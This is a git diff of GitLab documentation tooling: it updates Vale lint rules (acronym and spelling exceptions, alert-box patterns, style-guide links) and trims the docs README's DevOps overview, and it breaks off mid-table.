diff options
Diffstat (limited to 'doc')
1453 files changed, 26620 insertions, 11563 deletions
diff --git a/doc/.vale/gitlab/Acronyms.yml b/doc/.vale/gitlab/Acronyms.yml index 494b1e42d2f..2c28da972da 100644 --- a/doc/.vale/gitlab/Acronyms.yml +++ b/doc/.vale/gitlab/Acronyms.yml @@ -14,6 +14,7 @@ first: '\b([A-Z]{3,5})\b' second: '(?:\b[A-Z][a-z]+ )+\(([A-Z]{3,5})\)' # ... with the exception of these: exceptions: + - AJAX - ANSI - API - ARM @@ -21,28 +22,43 @@ exceptions: - ASCII - AWS - BSD + - CAS - CLI + - CNA - CNAME - CORE - CPU + - CRIME + - CSRF - CSS - CSV + - CVE - DAG - DAST - DHCP - DNS + - DOM + - DSA - DVCS + - ECDSA - EKS - EOL + - EXIF - FAQ - FOSS + - FQDN - GCP - GDK + - GDPR - GET + - GIF - GKE - GNU - GPG - GPL + - GUI + - HAML + - HIPAA - HTML - HTTP - HTTPS @@ -52,9 +68,13 @@ exceptions: - IDE - IID - IMAP + - IOPS - IRC - ISO + - JPEG + - JPG - JSON + - JWT - LAN - LDAP - LDAPS @@ -71,16 +91,25 @@ exceptions: - NOTE - NPM - ONLY + - OWASP + - PAT + - PCI-DSS - PDF + - PEM + - PEP - PGP - PHP + - PNG - POST - PUT - RAM + - RDP - REST + - RFC - RHEL - RPC - RPM + - RPS - RSA - RSS - RVM @@ -90,11 +119,17 @@ exceptions: - SCP - SCSS - SDK + - SEO - SHA - SLA + - SMS - SMTP + - SOC + - SOX + - SPF - SQL - SSD + - SSG - SSH - SSL - SSO @@ -111,9 +146,12 @@ exceptions: - URL - USB - UTC + - UTF - UUID + - VCS - VPC - WIP - WSL - XML + - XSS - YAML diff --git a/doc/.vale/gitlab/AlertBoxCaution.yml b/doc/.vale/gitlab/AlertBoxCaution.yml deleted file mode 100644 index 49d4dc62ab5..00000000000 --- a/doc/.vale/gitlab/AlertBoxCaution.yml +++ /dev/null @@ -1,14 +0,0 @@ ---- -# Error: gitlab.AlertBoxCaution -# -# Makes sure CAUTION: alert boxes follow standard formatting. -# -# For a list of all options, see https://errata-ai.gitbook.io/vale/getting-started/styles -extends: substitution -message: "CAUTION: alert boxes must be of the format 'CAUTION: **Caution:**'. 'Caution' can be replaced with 'Warning' or 'Important'." -link: https://docs.gitlab.com/ee/development/documentation/styleguide.html#alert-boxes -level: warning -nonword: true -scope: raw -swap: - 'CAUTION: *?\*\*.*\*\*': 'CAUTION: \*\*(?:Caution|Warning|Important):\*\*' diff --git a/doc/.vale/gitlab/AlertBoxDanger.yml b/doc/.vale/gitlab/AlertBoxDanger.yml deleted file mode 100644 index 2589d34614c..00000000000 --- a/doc/.vale/gitlab/AlertBoxDanger.yml +++ /dev/null @@ -1,14 +0,0 @@ ---- -# Error: gitlab.AlertBoxDanger -# -# Makes sure DANGER: alert boxes follow standard formatting. -# -# For a list of all options, see https://errata-ai.gitbook.io/vale/getting-started/styles -extends: substitution -message: "DANGER: alert boxes must be of the format 'DANGER: **Warning:**'. 'Warning' can be replaced with 'Important', 'Deprecated', or 'Required'." -link: https://docs.gitlab.com/ee/development/documentation/styleguide.html#alert-boxes -level: error -nonword: true -scope: raw -swap: - 'DANGER: *?\*\*.*\*\*': 'DANGER: \*\*(?:Warning|Important|Deprecated|Required):\*\*' diff --git a/doc/.vale/gitlab/AlertBoxNoteTip.yml b/doc/.vale/gitlab/AlertBoxNoteTip.yml deleted file mode 100644 index 0b480794476..00000000000 --- a/doc/.vale/gitlab/AlertBoxNoteTip.yml +++ /dev/null @@ -1,15 +0,0 @@ ---- -# Error: gitlab.AlertBoxNoteTip -# -# Makes sure NOTE: and TIP: alert boxes follow standard formatting. -# -# For a list of all options, see https://errata-ai.gitbook.io/vale/getting-started/styles -extends: substitution -message: "NOTE: and TIP: alert boxes must be of the format 'NOTE: **Note:**' or 'TIP: **Tip:**" -link: https://docs.gitlab.com/ee/development/documentation/styleguide.html#alert-boxes -level: warning -nonword: true -scope: raw -swap: - 'NOTE: *?\*\*.*\*\*': 'NOTE: \*\*Note:\*\*' - 'TIP: *?\*\*.*\*\*': 'TIP: \*\*Tip:\*\*' diff --git a/doc/.vale/gitlab/AlertBoxStyle.yml b/doc/.vale/gitlab/AlertBoxStyle.yml index d15757d38fc..bdf66236ef2 100644 --- a/doc/.vale/gitlab/AlertBoxStyle.yml +++ b/doc/.vale/gitlab/AlertBoxStyle.yml @@ -1,18 +1,21 @@ --- # Error: gitlab.AlertBoxStyle # -# Makes sure alert boxes follow standard formatting. +# Makes sure alert boxes are used with block quotes. # -# Checks for 2 formatting issues: +# Checks for 3 formatting issues: +# - Alert boxes inside a block quote (">") # - Alert boxes with the note text on the same line -# - Alert boxes using blockquote formatting, like "> **Note:**" +# - Alert boxes using words other than "NOTE" or "WARNING" # # For a list of all options, see https://errata-ai.gitbook.io/vale/getting-started/styles extends: existence message: 'Alert box "%s" must use the formatting in the style guide.' link: https://docs.gitlab.com/ee/development/documentation/styleguide.html#alert-boxes level: error +nonword: true scope: raw raw: - - '(\n(NOTE|TIP|CAUTION|DANGER): \*\*.*\*\*.+)|' - - '((\n[> ]*(\*){1,2}(NOTE|Note|note|TIP|Tip|tip|CAUTION|Caution|caution|DANGER|Danger|danger):(\*){1,2}))' + - '(\n *\> *(?:NOTE|WARNING)|' + - '\n(NOTE):[^\n]|' # Adding "WARNING" here causes a false positive + - '\n *(?:> )?\**(Note|note|TIP|Tip|tip|CAUTION|Caution|caution|DANGER|Danger|danger|warning):.*)' ## Adding "Warning" here causes a false positive diff --git a/doc/.vale/gitlab/BadgeCapitalization.yml b/doc/.vale/gitlab/BadgeCapitalization.yml index caf7143e254..3da5831ed56 100644 --- a/doc/.vale/gitlab/BadgeCapitalization.yml +++ b/doc/.vale/gitlab/BadgeCapitalization.yml @@ -6,7 +6,7 @@ # For a list of all options, see https://errata-ai.gitbook.io/vale/getting-started/styles extends: existence message: 'Badge "%s" must be capitalized.' -link: https://docs.gitlab.com/ee/development/documentation/styleguide.html#product-badges +link: https://docs.gitlab.com/ee/development/documentation/styleguide/index.html#product-tier-badges level: error scope: raw raw: diff --git a/doc/.vale/gitlab/British.yml b/doc/.vale/gitlab/British.yml index 7221d7d24aa..65842ad7aa5 100644 --- a/doc/.vale/gitlab/British.yml +++ b/doc/.vale/gitlab/British.yml @@ -6,7 +6,7 @@ # For a list of all options, see https://errata-ai.gitbook.io/vale/getting-started/styles extends: substitution message: 'Use the US spelling "%s" instead of the British "%s".' -link: https://about.gitlab.com/handbook/communication/#top-misused-terms +link: https://docs.gitlab.com/ee/development/documentation/styleguide/index.html#language level: error ignorecase: true swap: @@ -22,6 +22,10 @@ swap: behaviour: behavior busses: buses calibre: caliber + categorise: categorize + categorised: categorized + categorises: categorizes + categorising: categorizing centre: center cheque: check civilisation: civilization diff --git a/doc/.vale/gitlab/CodeblockFences.yml b/doc/.vale/gitlab/CodeblockFences.yml index 7258a8ef475..6c2d94e7b8d 100644 --- a/doc/.vale/gitlab/CodeblockFences.yml +++ b/doc/.vale/gitlab/CodeblockFences.yml @@ -6,7 +6,7 @@ # For a list of all options, see https://errata-ai.gitbook.io/vale/getting-started/styles extends: existence message: 'Syntax highlighting hint "%s" must be one of: yaml, ruby, plaintext, markdown, javascript, shell, golang, python, dockerfile, or typescript.' -link: https://docs.gitlab.com/ee/development/documentation/styleguide.html#code-blocks +link: https://docs.gitlab.com/ee/development/documentation/styleguide/index.html#code-blocks level: error scope: raw raw: diff --git a/doc/.vale/gitlab/CurlStringsQuoted.yml b/doc/.vale/gitlab/CurlStringsQuoted.yml index a09c3fbfb51..e9fbabf5ffc 100644 --- a/doc/.vale/gitlab/CurlStringsQuoted.yml +++ b/doc/.vale/gitlab/CurlStringsQuoted.yml @@ -7,7 +7,7 @@ extends: existence message: 'For consistency across all cURL examples, always wrap the URL in double quotes ("): %s' link: https://docs.gitlab.com/ee/development/documentation/restful_api_styleguide.html#curl-commands -level: warning +level: error scope: code raw: - 'curl.*[^"=]https?://.*' diff --git a/doc/.vale/gitlab/CurrentStatus.yml b/doc/.vale/gitlab/CurrentStatus.yml index 584ac73aa17..16a6995843a 100644 --- a/doc/.vale/gitlab/CurrentStatus.yml +++ b/doc/.vale/gitlab/CurrentStatus.yml @@ -8,6 +8,6 @@ extends: existence message: 'Avoid words like "%s" that promise future changes, because documentation is about the current state of the product.' level: suggestion ignorecase: true -link: https://docs.gitlab.com/ee/development/documentation/styleguide.html#language-to-avoid +link: https://docs.gitlab.com/ee/development/documentation/styleguide/index.html#usage-list tokens: - currently diff --git a/doc/.vale/gitlab/FirstPerson.yml b/doc/.vale/gitlab/FirstPerson.yml index d247f137501..6fc93d9515c 100644 --- a/doc/.vale/gitlab/FirstPerson.yml +++ b/doc/.vale/gitlab/FirstPerson.yml @@ -8,7 +8,7 @@ extends: existence message: '"%s" is a first-person pronoun. Use second- or third-person pronouns (like we, you, us, one) instead.' level: warning ignorecase: true -link: https://docs.gitlab.com/ee/development/documentation/styleguide.html#language +link: https://docs.gitlab.com/ee/development/documentation/styleguide/index.html#usage-list tokens: - '\bI[ ,;:?!"]|\bI\x27.{1,2}' - me diff --git a/doc/.vale/gitlab/FutureTense.yml b/doc/.vale/gitlab/FutureTense.yml index bba60dc9657..d7001d57899 100644 --- a/doc/.vale/gitlab/FutureTense.yml +++ b/doc/.vale/gitlab/FutureTense.yml @@ -9,7 +9,7 @@ extends: existence message: 'Avoid using future tense: "%s". Use present tense instead.' ignorecase: true level: warning -link: https://docs.gitlab.com/ee/development/documentation/styleguide.html#language-to-avoid +link: https://docs.gitlab.com/ee/development/documentation/styleguide/index.html#usage-list raw: - "(going to( |\n|[[:punct:]])[a-zA-Z]*|" - "will( |\n|[[:punct:]])[a-zA-Z]*|" diff --git a/doc/.vale/gitlab/InclusionAbleism.yml b/doc/.vale/gitlab/InclusionAbleism.yml index 29b26547130..1ebb6a97cf8 100644 --- a/doc/.vale/gitlab/InclusionAbleism.yml +++ b/doc/.vale/gitlab/InclusionAbleism.yml @@ -6,7 +6,7 @@ # For a list of all options, see https://errata-ai.gitbook.io/vale/getting-started/styles extends: substitution message: 'Use inclusive language. Consider "%s" instead of "%s".' -link: https://docs.gitlab.com/ee/development/documentation/styleguide.html#inclusive-language +link: https://docs.gitlab.com/ee/development/documentation/styleguide/index.html#inclusive-language level: suggestion ignorecase: true swap: diff --git a/doc/.vale/gitlab/InclusionCultural.yml b/doc/.vale/gitlab/InclusionCultural.yml index 5bfad84f100..6f63d1725fc 100644 --- a/doc/.vale/gitlab/InclusionCultural.yml +++ b/doc/.vale/gitlab/InclusionCultural.yml @@ -6,7 +6,7 @@ # For a list of all options, see https://errata-ai.gitbook.io/vale/getting-started/styles extends: substitution message: 'Use inclusive language. Consider "%s" instead of "%s".' -link: https://docs.gitlab.com/ee/development/documentation/styleguide.html#inclusive-language +link: https://docs.gitlab.com/ee/development/documentation/styleguide/index.html#inclusive-language level: warning ignorecase: true swap: diff --git a/doc/.vale/gitlab/InclusionGender.yml b/doc/.vale/gitlab/InclusionGender.yml index 389d76d7a24..313a1cc42dc 100644 --- a/doc/.vale/gitlab/InclusionGender.yml +++ b/doc/.vale/gitlab/InclusionGender.yml @@ -6,7 +6,7 @@ # For a list of all options, see https://errata-ai.gitbook.io/vale/getting-started/styles extends: substitution message: 'Use inclusive language. Consider "%s" instead of "%s".' -link: https://docs.gitlab.com/ee/development/documentation/styleguide.html#inclusive-language +link: https://docs.gitlab.com/ee/development/documentation/styleguide/index.html#inclusive-language level: suggestion ignorecase: true swap: diff --git a/doc/.vale/gitlab/InternalLinkCase.yml b/doc/.vale/gitlab/InternalLinkCase.yml new file mode 100644 index 00000000000..c00e633426b --- /dev/null +++ b/doc/.vale/gitlab/InternalLinkCase.yml @@ -0,0 +1,13 @@ +--- +# Error: gitlab.InternalLinkCase +# +# Checks that anchor fragments on internal links are in lower-case. +# +# For a list of all options, see https://errata-ai.gitbook.io/vale/getting-started/styles +extends: existence +message: 'Links to subheadings in GitLab docs must be in lower-case: "%s"' +link: https://docs.gitlab.com/ee/development/documentation/styleguide/index.html#links-to-internal-documentation +level: error +scope: raw +raw: + - '[^\`]\[[^\[\]]+\]\((https?:){0}[\w\/\.]*?#[^\s]*?[A-Z][^\) ]*\)[^\`]' diff --git a/doc/.vale/gitlab/InternalLinkExtension.yml b/doc/.vale/gitlab/InternalLinkExtension.yml index 9b5a3499815..0b1baaf667c 100644 --- a/doc/.vale/gitlab/InternalLinkExtension.yml +++ b/doc/.vale/gitlab/InternalLinkExtension.yml @@ -6,7 +6,7 @@ # For a list of all options, see https://errata-ai.gitbook.io/vale/getting-started/styles extends: existence message: 'Link "%s" must use the .md file extension.' -link: https://docs.gitlab.com/ee/development/documentation/styleguide.html#links-to-internal-documentation +link: https://docs.gitlab.com/ee/development/documentation/styleguide/index.html#links-to-internal-documentation level: error scope: raw raw: diff --git a/doc/.vale/gitlab/InternalLinkFormat.yml b/doc/.vale/gitlab/InternalLinkFormat.yml index 9a72778140e..51d5198a0ce 100644 --- a/doc/.vale/gitlab/InternalLinkFormat.yml +++ b/doc/.vale/gitlab/InternalLinkFormat.yml @@ -6,7 +6,7 @@ # For a list of all options, see https://errata-ai.gitbook.io/vale/getting-started/styles extends: existence message: 'Link "%s" must not start with "./".' -link: https://docs.gitlab.com/ee/development/documentation/styleguide.html#links-to-internal-documentation +link: https://docs.gitlab.com/ee/development/documentation/styleguide/index.html#links-to-internal-documentation level: error scope: raw raw: diff --git a/doc/.vale/gitlab/LatinTerms.yml b/doc/.vale/gitlab/LatinTerms.yml index 26dba42839a..79ba4c17651 100644 --- a/doc/.vale/gitlab/LatinTerms.yml +++ b/doc/.vale/gitlab/LatinTerms.yml @@ -1,12 +1,12 @@ --- # Warning: gitlab.LatinTerms # -# Checks for use of latin terms. +# Checks for use of Latin terms. # # For a list of all options, see https://errata-ai.gitbook.io/vale/getting-started/styles extends: substitution message: 'Use "%s" instead of "%s", but consider rewriting the sentence.' -link: https://docs.gitlab.com/ee/development/documentation/styleguide.html#language +link: https://docs.gitlab.com/ee/development/documentation/styleguide/index.html#usage-list level: warning nonword: true ignorecase: true diff --git a/doc/.vale/gitlab/OutdatedVersions.yml b/doc/.vale/gitlab/OutdatedVersions.yml index 2ce61ee5798..05323726838 100644 --- a/doc/.vale/gitlab/OutdatedVersions.yml +++ b/doc/.vale/gitlab/OutdatedVersions.yml @@ -6,7 +6,7 @@ # For a list of all options, see https://errata-ai.gitbook.io/vale/getting-started/styles extends: existence message: 'Can this reference to "%s" be refactored?' -link: https://docs.gitlab.com/ee/development/documentation/styleguide.html#importance-of-referencing-gitlab-versions-and-tiers +link: https://docs.gitlab.com/ee/development/documentation/styleguide/index.html#gitlab-versions level: suggestion nonword: true ignorecase: true diff --git a/doc/.vale/gitlab/OxfordComma.yml b/doc/.vale/gitlab/OxfordComma.yml index 334db5d0388..0425d9e1dd0 100644 --- a/doc/.vale/gitlab/OxfordComma.yml +++ b/doc/.vale/gitlab/OxfordComma.yml @@ -7,7 +7,7 @@ # For a list of all options, see https://errata-ai.gitbook.io/vale/getting-started/styles extends: existence message: 'Use a comma before the last "and" or "or" in a list of four or more items.' -link: https://docs.gitlab.com/ee/development/documentation/styleguide.html#punctuation +link: https://docs.gitlab.com/ee/development/documentation/styleguide/index.html#punctuation level: warning raw: - '(?:[\w-_` ]+,){2,}(?:[\w-_` ]+) (and |or )' diff --git a/doc/.vale/gitlab/Possessive.yml b/doc/.vale/gitlab/Possessive.yml new file mode 100644 index 00000000000..eadf7359698 --- /dev/null +++ b/doc/.vale/gitlab/Possessive.yml @@ -0,0 +1,15 @@ +--- +# Warning: gitlab.Possessive +# +# The word GitLab should not be used in the possessive form. +# +# For a list of all options, see https://errata-ai.gitbook.io/vale/getting-started/styles +extends: existence +message: 'Rewrite "%s" to not use "’s".' +level: error +ignorecase: true +link: https://docs.gitlab.com/ee/development/documentation/styleguide/index.html#trademark +tokens: + - GitLab's # Straight apostrophe. + - GitLab’s # Curly closing apostrophe. + - GitLab‘s # Curly opening apostrophe. diff --git a/doc/.vale/gitlab/ReferenceLinks.yml b/doc/.vale/gitlab/ReferenceLinks.yml index 49e6ed5a531..0df1f359107 100644 --- a/doc/.vale/gitlab/ReferenceLinks.yml +++ b/doc/.vale/gitlab/ReferenceLinks.yml @@ -6,7 +6,7 @@ # For a list of all options, see https://errata-ai.gitbook.io/vale/getting-started/styles extends: existence message: 'Link "%s" must be inline.' -link: https://docs.gitlab.com/ee/development/documentation/styleguide.html#basic-link-criteria +link: https://docs.gitlab.com/ee/development/documentation/styleguide/index.html#basic-link-criteria level: error scope: raw raw: diff --git a/doc/.vale/gitlab/RelativeLinks.yml b/doc/.vale/gitlab/RelativeLinks.yml index 1ae73472f8a..14ffc4bd0b8 100644 --- a/doc/.vale/gitlab/RelativeLinks.yml +++ b/doc/.vale/gitlab/RelativeLinks.yml @@ -6,7 +6,7 @@ # For a list of all options, see https://errata-ai.gitbook.io/vale/getting-started/styles extends: existence message: 'Link "%s" must be a relative link with a .md extension.' -link: https://docs.gitlab.com/ee/development/documentation/styleguide.html#links-to-internal-documentation +link: https://docs.gitlab.com/ee/development/documentation/styleguide/index.html#links-to-internal-documentation level: error scope: raw raw: diff --git a/doc/.vale/gitlab/SentenceLength.yml b/doc/.vale/gitlab/SentenceLength.yml index da9fa052584..c60df1803e2 100644 --- a/doc/.vale/gitlab/SentenceLength.yml +++ b/doc/.vale/gitlab/SentenceLength.yml @@ -7,7 +7,7 @@ extends: occurrence message: 'Shorter sentences improve readability (max 25 words).' scope: sentence -link: https://docs.gitlab.com/ee/development/documentation/styleguide.html#language +link: https://docs.gitlab.com/ee/development/documentation/styleguide/index.html#language level: warning max: 25 token: \b(\w+)\b diff --git a/doc/.vale/gitlab/SentenceSpacing.yml b/doc/.vale/gitlab/SentenceSpacing.yml index e6da920222c..884d4b57508 100644 --- a/doc/.vale/gitlab/SentenceSpacing.yml +++ b/doc/.vale/gitlab/SentenceSpacing.yml @@ -9,7 +9,7 @@ # For a list of all options, see https://errata-ai.gitbook.io/vale/getting-started/styles extends: existence message: '"%s" must contain one and only one space.' -link: https://docs.gitlab.com/ee/development/documentation/styleguide.html#punctuation +link: https://docs.gitlab.com/ee/development/documentation/styleguide/index.html#punctuation level: error nonword: true tokens: diff --git a/doc/.vale/gitlab/Simplicity.yml b/doc/.vale/gitlab/Simplicity.yml index fa7a07c3e81..44e78f89c20 100644 --- a/doc/.vale/gitlab/Simplicity.yml +++ b/doc/.vale/gitlab/Simplicity.yml @@ -8,7 +8,7 @@ extends: existence message: 'Avoid words like "%s" that imply ease of use, because the user may find this action hard.' level: suggestion ignorecase: true -link: https://docs.gitlab.com/ee/development/documentation/styleguide.html#language-to-avoid +link: https://docs.gitlab.com/ee/development/documentation/styleguide/index.html#usage-list tokens: - easy - easily diff --git a/doc/.vale/gitlab/SubstitutionSuggestions.yml b/doc/.vale/gitlab/SubstitutionSuggestions.yml index df68961b1ce..82e3e789864 100644 --- a/doc/.vale/gitlab/SubstitutionSuggestions.yml +++ b/doc/.vale/gitlab/SubstitutionSuggestions.yml @@ -6,12 +6,16 @@ # # For a list of all options, see https://errata-ai.github.io/vale/styles/ extends: substitution -message: 'Consider "%s" instead of "%s".' -link: https://docs.gitlab.com/ee/development/documentation/styleguide.html#language +message: 'Consider %s instead of "%s".' +link: https://docs.gitlab.com/ee/development/documentation/styleguide/index.html#language level: suggestion ignorecase: true swap: - since: because - once that: after that - once the: after the - once you: after you + active user: '"billable user"' + active users: '"billable users"' + docs: documentation + once that: '"after that"' + once the: '"after the"' + once you: '"after you"' + since: '"because" or "after"' + within: '"in"' diff --git a/doc/.vale/gitlab/Substitutions.yml b/doc/.vale/gitlab/Substitutions.yml index 3d1cf8057eb..0a56524e3f5 100644 --- a/doc/.vale/gitlab/Substitutions.yml +++ b/doc/.vale/gitlab/Substitutions.yml @@ -11,8 +11,10 @@ link: https://about.gitlab.com/handbook/communication/#top-misused-terms level: error ignorecase: true swap: + Customer [Pp]ortal: Customers Portal frontmatter: front matter GitLabber: GitLab team member + GitLabbers: GitLab team members GitLab-shell: GitLab Shell gitlab omnibus: Omnibus GitLab param: parameter diff --git a/doc/.vale/gitlab/ToDo.yml b/doc/.vale/gitlab/ToDo.yml index b3c5f6077b1..a3725cb7f6b 100644 --- a/doc/.vale/gitlab/ToDo.yml +++ b/doc/.vale/gitlab/ToDo.yml @@ -6,7 +6,7 @@ # For a list of all options, see https://errata-ai.gitbook.io/vale/getting-started/styles extends: substitution message: 'Use "to-do item" in most cases, or "Add a to do" if referring to the UI button.' -link: https://docs.gitlab.com/ee/development/documentation/styleguide.html#feature-names +link: https://docs.gitlab.com/ee/development/documentation/styleguide/index.html#feature-names level: warning ignorecase: false swap: diff --git a/doc/.vale/gitlab/VersionText.yml b/doc/.vale/gitlab/VersionText.yml index e59b936ae3f..e66a62497b1 100644 --- a/doc/.vale/gitlab/VersionText.yml +++ b/doc/.vale/gitlab/VersionText.yml @@ -16,7 +16,7 @@ # For a list of all options, see https://errata-ai.gitbook.io/vale/getting-started/styles extends: existence message: 'This introduced-in line is not formatted correctly.' -link: https://docs.gitlab.com/ee/development/documentation/styleguide.html#text-for-documentation-requiring-version-text +link: https://docs.gitlab.com/ee/development/documentation/styleguide/index.html#version-text-in-the-version-history level: error scope: raw raw: diff --git a/doc/.vale/gitlab/spelling-exceptions.txt b/doc/.vale/gitlab/spelling-exceptions.txt index bbb5c892298..fd3aff63bce 100644 --- a/doc/.vale/gitlab/spelling-exceptions.txt +++ b/doc/.vale/gitlab/spelling-exceptions.txt @@ -8,7 +8,6 @@ allowlists anonymized Ansible Anthos -API approvers architected Artifactory @@ -63,7 +62,6 @@ bundlers burndown burnup cacheable -CAS CentOS Certbot chai @@ -120,6 +118,7 @@ dequarantining DevOps discoverability Disqus +Divio Dockerfile Dockerfiles dogfood @@ -171,6 +170,8 @@ globals Gmail Gollum Google +goroutine +goroutines Gosec Gradle Grafana @@ -211,12 +212,13 @@ JavaScript Jenkins Jenkinsfile Jira +jq jQuery jsdom JupyterHub kanban kanbans -Kaniko +kaniko Karma Kerberos keyset @@ -224,15 +226,15 @@ Kibana Kinesis Knative Kramdown +Kroki Kubecost kubectl Kubernetes Kubesec Laravel -LDAP ldapsearch -Leiningen Lefthook +Leiningen Libravatar liveness Lograge @@ -252,6 +254,7 @@ Markdown markdownlint matcher matchers +Matomo Mattermost mbox memoization @@ -293,10 +296,10 @@ namespacing namespacings Nanoc Netlify -NGINX Nokogiri npm Nurtch +nyc OAuth offboarded offboarding @@ -317,6 +320,7 @@ PgBouncer Phabricator phaser phasers +phpenv Pipfile Pipfiles Piwik @@ -341,9 +345,13 @@ prepend prepended prepending prepends +Prettifier Pritaly +Priyanka profiler Prometheus +protobuf +protobufs proxied proxies proxyable @@ -396,7 +404,6 @@ reusability reverified reverifies reverify -RHEL rollout rollouts rsync @@ -413,7 +420,6 @@ runit runtime runtimes Salesforce -SAML sandboxing sanitization sbt @@ -436,7 +442,6 @@ Slack Slony smartcard smartcards -SMTP Sobelow Solarized Sourcegraph @@ -445,7 +450,6 @@ sparklines spidering Splunk SpotBugs -SSH Stackdriver storable storages @@ -476,7 +480,10 @@ substrings subtree subtrees sudo +swimlane +swimlanes syslog +tanuki tcpdump Thanos Tiller @@ -489,6 +496,9 @@ toolchain toolchains tooltip tooltips +transpile +transpiles +transpiling Trello triaging Twilio diff --git a/doc/README.md b/doc/README.md index 759b5dda32b..41a68df09d0 100644 --- a/doc/README.md +++ b/doc/README.md @@ -1,14 +1,14 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments comments: false description: 'Learn how to use and administer GitLab, the most scalable Git-based fully integrated platform for software development.' --- <div class="d-none"> - <em>Visit <a href="https://docs.gitlab.com/ee/">docs.gitlab.com</a> for optimized - navigation, discoverability, and readability.</em> + <h3>Visit <a href="https://docs.gitlab.com/ee/">docs.gitlab.com</a> for the latest version + of this help information with enhanced navigation, discoverability, and readability.</h3> </div> <!-- the div above will not display on the docs site but will display on /help --> @@ -23,14 +23,14 @@ Here you can access the complete documentation for GitLab, the single applicatio No matter how you use GitLab, we have documentation for you. -| Essential documentation | Essential documentation | -|:------------------------------------------------------------------------------------------------------------------------------------|:---------------------------------------------------------------------------------------------------------------------------| -| [**User documentation**](user/index.md)<br>Discover features and concepts for GitLab users. | [**Administrator documentation**](administration/index.md)<br/>Everything GitLab self-managed administrators need to know. | -| [**Contributing to GitLab**](#contributing-to-gitlab)<br/>At GitLab, everyone can contribute! | [**New to Git and GitLab?**](#new-to-git-and-gitlab)<br/>We have the resources to get you started. | -| [**Build an integration with GitLab**](#build-an-integration-with-gitlab)<br/>Consult our automation and integration documentation. | [**Coming to GitLab from another platform?**](#coming-to-gitlab-from-another-platform)<br/>Consult our guides. | -| [**Install GitLab**](https://about.gitlab.com/install/)<br/>Installation options for different platforms. | [**Customers**](subscriptions/index.md)<br/>Information for new and existing customers. | -| [**Update GitLab**](update/README.md)<br/>Update your GitLab self-managed instance to the latest version. | [**Reference Architectures**](administration/reference_architectures/index.md)<br/>GitLab's reference architectures | -| [**GitLab releases**](https://about.gitlab.com/releases/)<br/>What's new in GitLab. | | +| Essential documentation | Essential documentation | +|:---------------------------------------------------------------------------------------------------------------------|:---------------------------------------------------------------------------------------------------------------------------| +| [**User documentation**](user/index.md)<br>Discover features and concepts for GitLab users. | [**Administrator documentation**](administration/index.md)<br/>Everything GitLab self-managed administrators need to know. | +| [**Contributing to GitLab**](#contributing-to-gitlab)<br/>At GitLab, everyone can contribute! | [**New to Git and GitLab?**](#new-to-git-and-gitlab)<br/>We have the resources to get you started. | +| [**Build an integration with GitLab**](#build-an-integration-with-gitlab)<br/>Consult our integration documentation. | [**Coming to GitLab from another platform?**](#coming-to-gitlab-from-another-platform)<br/>Consult our guides. | +| [**Install GitLab**](https://about.gitlab.com/install/)<br/>Installation options for different platforms. | [**Customers**](subscriptions/index.md)<br/>Information for new and existing customers. | +| [**Update GitLab**](update/README.md)<br/>Update your GitLab self-managed instance to the latest version. | [**Reference Architectures**](administration/reference_architectures/index.md)<br/>GitLab reference architectures | +| [**GitLab releases**](https://about.gitlab.com/releases/)<br/>What's new in GitLab. | | ## Popular topics @@ -53,349 +53,10 @@ Have a look at some of our most popular topics: ## The entire DevOps lifecycle GitLab is the first single application for software development, security, -and operations that enables [Concurrent DevOps](https://about.gitlab.com/topics/concurrent-devops/), -making the software lifecycle faster and radically improving the speed of business. - -GitLab provides solutions for [each of the stages of the DevOps lifecycle](https://about.gitlab.com/stages-devops-lifecycle/): - - - -GitLab is like a top-of-the-line kitchen for making software. As the executive -chef, you decide what software you want to serve. Using your recipe, GitLab handles -all the prep work, cooking, and delivery, so you can turn around orders faster -than ever. - -The following sections provide links to documentation for each DevOps stage: - -| DevOps stage | Documentation for | -|:------------------------|:------------------------------------------------------------| -| [Manage](#manage) | Statistics and analytics features. | -| [Plan](#plan) | Project planning and management features. | -| [Create](#create) | Source code, data creation, and management features. | -| [Verify](#verify) | Testing, code quality, and continuous integration features. | -| [Package](#package) | Docker container registry. | -| [Secure](#secure) | Security capability features. | -| [Release](#release) | Application release and delivery features. | -| [Configure](#configure) | Application and infrastructure configuration tools. | -| [Monitor](#monitor) | Application monitoring and metrics features. | -| [Defend](#defend) | Protection against security intrusions. | - -<div align="right"> - <a type="button" class="btn btn-default" href="#overview"> - Back to Overview <i class="fa fa-angle-double-up" aria-hidden="true"></i> - </a> -</div> - -### Manage - -GitLab provides statistics and insights into ways you can maximize the value of GitLab in your organization. - -The following documentation relates to the DevOps **Manage** stage: - -| Manage topics | Description | -|:--------------------------------------------------------------------------------------|:---------------------------------------------------------------------------| -| [Authentication and<br/>Authorization](administration/auth/README.md) **(CORE ONLY)** | Supported authentication and authorization providers. | -| [GitLab Value Stream Analytics](user/analytics/value_stream_analytics.md) | Measure the time it takes to go from an [idea to production](https://about.gitlab.com/blog/2016/08/05/continuous-integration-delivery-and-deployment-with-gitlab/#from-idea-to-production-with-gitlab) for each project you have. | -| [Instance-level analytics](user/admin_area/analytics/index.md) | Discover statistics on how many GitLab features you use and user activity. | - -<div align="right"> - <a type="button" class="btn btn-default" href="#overview"> - Back to Overview <i class="fa fa-angle-double-up" aria-hidden="true"></i> - </a> -</div> - -### Plan - -Whether you use Waterfall, Agile, or Conversational Development, GitLab streamlines your collaborative workflows. - -Visualize, prioritize, coordinate, and track your progress your way with GitLab’s flexible project -management tools. - -The following documentation relates to the DevOps **Plan** stage: - -| Plan topics | Description | -|:-----------------------------------------------------------------------------|:-------------------------------------------------------------------------------------------------------------------------------| -| [Burndown charts](user/project/milestones/burndown_charts.md) **(STARTER)** | Watch your project's progress throughout a specific milestone. | -| [Discussions](user/discussions/index.md) | Threads, comments, and resolvable threads in issues, commits, and merge requests. | -| [Due dates](user/project/issues/due_dates.md) | Keep track of issue deadlines. | -| [Epics](user/group/epics/index.md) **(ULTIMATE)** | Tracking groups of issues that share a theme. | -| [Issues](user/project/issues/index.md), including [confidential issues](user/project/issues/confidential_issues.md),<br/>[issue and merge request templates](user/project/description_templates.md),<br/>and [moving issues](user/project/issues/managing_issues.md#moving-issues) | Project issues and restricting access to issues as well as creating templates for submitting new issues and merge requests. Also, moving issues between projects. | -| [Labels](user/project/labels.md) | Categorize issues or merge requests with descriptive labels. | -| [Milestones](user/project/milestones/index.md) | Set milestones for delivery of issues and merge requests, with optional 